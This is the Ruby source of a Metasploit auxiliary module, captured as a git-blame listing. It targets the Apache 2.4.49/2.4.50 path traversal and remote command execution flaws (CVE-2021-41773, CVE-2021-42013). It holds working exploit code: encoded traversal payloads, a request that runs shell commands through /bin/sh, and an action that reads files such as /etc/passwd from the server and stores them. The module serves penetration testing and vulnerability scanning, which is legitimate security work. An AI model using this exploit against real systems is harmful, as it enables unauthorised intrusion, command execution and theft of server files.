2021-10-06 21:00:59 +04:00
|
|
|
|
##
|
|
|
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
|
super(
|
|
|
|
|
|
update_info(
|
|
|
|
|
|
info,
|
2021-10-08 15:22:47 +04:00
|
|
|
|
'Name' => 'Apache 2.4.49/2.4.50 Traversal RCE scanner',
|
2021-10-06 21:00:59 +04:00
|
|
|
|
'Description' => %q{
|
2021-10-22 12:38:03 -04:00
|
|
|
|
This module scans for an unauthenticated RCE vulnerability which exists in Apache version 2.4.49 (CVE-2021-41773).
|
2021-10-06 21:00:59 +04:00
|
|
|
|
If files outside of the document root are not protected by ‘require all denied’ and CGI has been explicitly enabled,
|
|
|
|
|
|
it can be used to execute arbitrary commands (Remote Command Execution).
|
2021-10-08 15:22:47 +04:00
|
|
|
|
This vulnerability has been reintroduced in Apache 2.4.50 fix (CVE-2021-42013).
|
2021-10-06 21:00:59 +04:00
|
|
|
|
},
|
|
|
|
|
|
'References' => [
|
|
|
|
|
|
['CVE', '2021-41773'],
|
2021-10-08 15:22:47 +04:00
|
|
|
|
['CVE', '2021-42013'],
|
2021-10-06 21:00:59 +04:00
|
|
|
|
['URL', 'https://httpd.apache.org/security/vulnerabilities_24.html'],
|
2021-10-08 15:22:47 +04:00
|
|
|
|
['URL', 'https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve-2021-41773.nse'],
|
|
|
|
|
|
['URL', 'https://github.com/projectdiscovery/nuclei-templates/blob/master/vulnerabilities/apache/apache-httpd-rce.yaml'],
|
|
|
|
|
|
['URL', 'https://github.com/projectdiscovery/nuclei-templates/commit/9384dd235ec5107f423d930ac80055f2ce2bff74'],
|
|
|
|
|
|
['URL', 'https://attackerkb.com/topics/1RltOPCYqE/cve-2021-41773/rapid7-analysis']
|
2021-10-06 21:00:59 +04:00
|
|
|
|
],
|
|
|
|
|
|
'Author' => [
|
|
|
|
|
|
'Ash Daulton', # Vulnerability discovery
|
|
|
|
|
|
'Dhiraj Mishra', # Metasploit auxiliary module
|
|
|
|
|
|
'mekhalleh (RAMELLA Sébastien)' # Metasploit exploit module (Zeop Entreprise)
|
|
|
|
|
|
],
|
|
|
|
|
|
'DisclosureDate' => '2021-05-10',
|
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
|
'DefaultOptions' => {
|
|
|
|
|
|
'RPORT' => 443,
|
|
|
|
|
|
'SSL' => true
|
2021-10-07 00:04:28 +04:00
|
|
|
|
},
|
2021-10-08 15:22:47 +04:00
|
|
|
|
'Notes' => {
|
|
|
|
|
|
'Stability' => [CRASH_SAFE],
|
|
|
|
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
|
|
|
|
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
|
|
|
|
|
},
|
2021-10-07 23:36:17 +04:00
|
|
|
|
'Actions' => [
|
|
|
|
|
|
[
|
2021-10-10 17:01:15 +04:00
|
|
|
|
'CHECK_TRAVERSAL',
|
2021-10-08 15:22:47 +04:00
|
|
|
|
{
|
2021-10-10 17:01:15 +04:00
|
|
|
|
'Description' => 'Check for vulnerability.'
|
2021-10-07 23:36:17 +04:00
|
|
|
|
}
|
|
|
|
|
|
],
|
|
|
|
|
|
[
|
2021-10-10 17:01:15 +04:00
|
|
|
|
'CHECK_RCE',
|
2021-10-08 15:22:47 +04:00
|
|
|
|
{
|
2021-10-10 17:01:15 +04:00
|
|
|
|
'Description' => 'Check for RCE (if mod_cgi is enabled).'
|
|
|
|
|
|
}
|
|
|
|
|
|
],
|
|
|
|
|
|
[
|
|
|
|
|
|
'READ_FILE',
|
|
|
|
|
|
{
|
|
|
|
|
|
'Description' => 'Read file on the remote server.'
|
2021-10-07 23:36:17 +04:00
|
|
|
|
}
|
|
|
|
|
|
]
|
|
|
|
|
|
],
|
2021-10-10 17:01:15 +04:00
|
|
|
|
'DefaultAction' => 'CHECK_TRAVERSAL'
|
2021-10-06 21:00:59 +04:00
|
|
|
|
)
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
register_options([
|
2021-10-10 17:01:15 +04:00
|
|
|
|
OptEnum.new('CVE', [true, 'The vulnerability to use', 'CVE-2021-42013', ['CVE-2021-41773', 'CVE-2021-42013']]),
|
|
|
|
|
|
OptInt.new('DEPTH', [true, 'Depth for Path Traversal', 5]),
|
2021-10-07 23:36:17 +04:00
|
|
|
|
OptString.new('FILEPATH', [false, 'File you want to read', '/etc/passwd']),
|
2021-10-10 17:01:15 +04:00
|
|
|
|
OptString.new('TARGETURI', [true, 'Base path', '/cgi-bin'])
|
2021-10-06 21:00:59 +04:00
|
|
|
|
])
|
|
|
|
|
|
end
|
|
|
|
|
|
|
2021-10-07 23:36:17 +04:00
|
|
|
|
def exec_traversal(cmd)
|
|
|
|
|
|
send_request_raw({
|
2021-10-08 15:22:47 +04:00
|
|
|
|
'method' => Rex::Text.rand_text_alpha(3..4),
|
2021-10-07 23:36:17 +04:00
|
|
|
|
'uri' => normalize_uri(datastore['TARGETURI'], @traversal.to_s),
|
|
|
|
|
|
'data' => "#{Rex::Text.rand_text_alpha(1..3)}=|echo;#{cmd}"
|
|
|
|
|
|
})
|
|
|
|
|
|
end
|
|
|
|
|
|
|
2021-10-10 17:01:15 +04:00
|
|
|
|
def message(msg)
|
|
|
|
|
|
"#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}"
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def pick_payload
|
|
|
|
|
|
case datastore['CVE']
|
|
|
|
|
|
when 'CVE-2021-41773'
|
|
|
|
|
|
payload = '.%2e/'
|
|
|
|
|
|
when 'CVE-2021-42013'
|
|
|
|
|
|
payload = '.%%32%65/'
|
|
|
|
|
|
else
|
|
|
|
|
|
payload = ''
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
payload
|
|
|
|
|
|
end
|
|
|
|
|
|
|
2021-10-07 23:36:17 +04:00
|
|
|
|
def read_traversal
|
|
|
|
|
|
send_request_raw({
|
|
|
|
|
|
'method' => 'GET',
|
2021-10-08 15:22:47 +04:00
|
|
|
|
'uri' => normalize_uri(@target_uri, @traversal.to_s)
|
2021-10-07 23:36:17 +04:00
|
|
|
|
})
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def run_host(ip)
|
2021-10-06 21:00:59 +04:00
|
|
|
|
@proto = (ssl ? 'https' : 'http')
|
|
|
|
|
|
|
2021-10-10 17:01:15 +04:00
|
|
|
|
case action.name
|
|
|
|
|
|
when 'CHECK_TRAVERSAL'
|
2021-10-21 23:00:39 +04:00
|
|
|
|
@target_uri = datastore['TARGETURI']
|
2021-10-10 17:01:15 +04:00
|
|
|
|
@traversal = pick_payload * datastore['DEPTH'] << '/etc/passwd'
|
2021-10-08 15:22:47 +04:00
|
|
|
|
|
2021-10-07 23:36:17 +04:00
|
|
|
|
response = read_traversal
|
|
|
|
|
|
unless response
|
|
|
|
|
|
print_error(message('No response, target seems down.'))
|
2021-10-06 21:00:59 +04:00
|
|
|
|
|
2021-10-07 23:36:17 +04:00
|
|
|
|
return Exploit::CheckCode::Unknown
|
|
|
|
|
|
end
|
2021-10-06 21:00:59 +04:00
|
|
|
|
|
2021-10-21 23:00:39 +04:00
|
|
|
|
if response.code == 200 && response.body.include?('root:x:0:0:')
|
|
|
|
|
|
print_good(message("The target is vulnerable to #{datastore['CVE']}."))
|
2021-10-07 23:36:17 +04:00
|
|
|
|
|
2021-10-21 23:00:39 +04:00
|
|
|
|
vprint_status("Obtained HTTP response code #{response.code}.")
|
|
|
|
|
|
report_vuln(
|
|
|
|
|
|
host: target_host,
|
|
|
|
|
|
name: name,
|
|
|
|
|
|
refs: references
|
|
|
|
|
|
)
|
2021-10-06 21:00:59 +04:00
|
|
|
|
|
2021-10-21 23:00:39 +04:00
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
|
|
end
|
|
|
|
|
|
print_error(message("The target is not vulnerable to #{datastore['CVE']}."))
|
2021-10-06 21:00:59 +04:00
|
|
|
|
|
2021-10-21 23:00:39 +04:00
|
|
|
|
return Exploit::CheckCode::Safe
|
2021-10-10 17:01:15 +04:00
|
|
|
|
when 'CHECK_RCE'
|
|
|
|
|
|
@traversal = pick_payload * datastore['DEPTH'] << '/bin/sh'
|
2021-10-07 23:36:17 +04:00
|
|
|
|
rand_str = Rex::Text.rand_text_alpha(4..8)
|
|
|
|
|
|
|
|
|
|
|
|
response = exec_traversal("echo #{rand_str}")
|
2021-10-08 15:22:47 +04:00
|
|
|
|
unless response
|
|
|
|
|
|
print_error(message('No response, target seems down.'))
|
|
|
|
|
|
|
|
|
|
|
|
return Exploit::CheckCode::Unknown
|
|
|
|
|
|
end
|
|
|
|
|
|
|
2021-10-07 23:36:17 +04:00
|
|
|
|
if response.code == 200 && response.body.include?(rand_str)
|
2021-10-22 12:38:03 -04:00
|
|
|
|
print_good(message("The target is vulnerable to #{datastore['CVE']} (mod_cgi is enabled)."))
|
2021-10-07 23:36:17 +04:00
|
|
|
|
report_vuln(
|
|
|
|
|
|
host: target_host,
|
|
|
|
|
|
name: name,
|
|
|
|
|
|
refs: references
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
|
|
end
|
2021-10-22 12:38:03 -04:00
|
|
|
|
print_error(message("The target is not vulnerable to #{datastore['CVE']} (requires mod_cgi to be enabled)."))
|
2021-10-06 21:00:59 +04:00
|
|
|
|
|
2021-10-07 23:36:17 +04:00
|
|
|
|
return Exploit::CheckCode::Safe
|
2021-10-10 17:01:15 +04:00
|
|
|
|
when 'READ_FILE'
|
2021-10-07 23:36:17 +04:00
|
|
|
|
fail_with(Failure::BadConfig, 'File path option is empty!') if !datastore['FILEPATH'] || datastore['FILEPATH'].empty?
|
2021-10-06 21:00:59 +04:00
|
|
|
|
|
2021-10-08 15:22:47 +04:00
|
|
|
|
@target_uri = datastore['TARGETURI']
|
2021-10-10 17:01:15 +04:00
|
|
|
|
@traversal = pick_payload * datastore['DEPTH'] << datastore['FILEPATH']
|
2021-10-07 23:36:17 +04:00
|
|
|
|
|
|
|
|
|
|
response = read_traversal
|
2021-10-08 15:22:47 +04:00
|
|
|
|
unless response
|
|
|
|
|
|
print_error(message('No response, target seems down.'))
|
|
|
|
|
|
|
2021-10-10 17:01:15 +04:00
|
|
|
|
return Exploit::CheckCode::Unknown
|
2021-10-08 15:22:47 +04:00
|
|
|
|
end
|
|
|
|
|
|
|
2021-10-10 17:01:15 +04:00
|
|
|
|
vprint_status("Obtained HTTP response code #{response.code}.")
|
2021-10-08 15:22:47 +04:00
|
|
|
|
if response.code == 500
|
2021-10-22 12:38:03 -04:00
|
|
|
|
print_warning(message("The target is vulnerable to #{datastore['CVE']} (mod_cgi is enabled)."))
|
2021-10-10 17:01:15 +04:00
|
|
|
|
report_vuln(
|
|
|
|
|
|
host: target_host,
|
|
|
|
|
|
name: name,
|
|
|
|
|
|
refs: references
|
|
|
|
|
|
)
|
2021-10-08 15:22:47 +04:00
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
if response.code == 500 || response.body.empty?
|
2021-10-07 23:36:17 +04:00
|
|
|
|
print_error('Nothing was downloaded')
|
|
|
|
|
|
|
2021-10-10 17:01:15 +04:00
|
|
|
|
return Exploit::CheckCode::Vulnerable if response.code == 500
|
2021-10-07 23:36:17 +04:00
|
|
|
|
end
|
|
|
|
|
|
|
2021-10-08 15:22:47 +04:00
|
|
|
|
if response.code == 200
|
|
|
|
|
|
vprint_good("#{peer} \n#{response.body}")
|
|
|
|
|
|
path = store_loot(
|
|
|
|
|
|
'apache.traversal',
|
|
|
|
|
|
'application/octet-stream',
|
|
|
|
|
|
ip,
|
|
|
|
|
|
response.body,
|
|
|
|
|
|
datastore['FILEPATH']
|
|
|
|
|
|
)
|
|
|
|
|
|
print_good("File saved in: #{path}")
|
2021-10-10 17:01:15 +04:00
|
|
|
|
|
|
|
|
|
|
report_vuln(
|
|
|
|
|
|
host: target_host,
|
|
|
|
|
|
name: name,
|
|
|
|
|
|
refs: references
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
2021-10-08 15:22:47 +04:00
|
|
|
|
end
|
2021-10-10 17:01:15 +04:00
|
|
|
|
|
|
|
|
|
|
return Exploit::CheckCode::Safe
|
2021-10-07 23:36:17 +04:00
|
|
|
|
end
|
2021-10-06 21:00:59 +04:00
|
|
|
|
end
|
|
|
|
|
|
end
|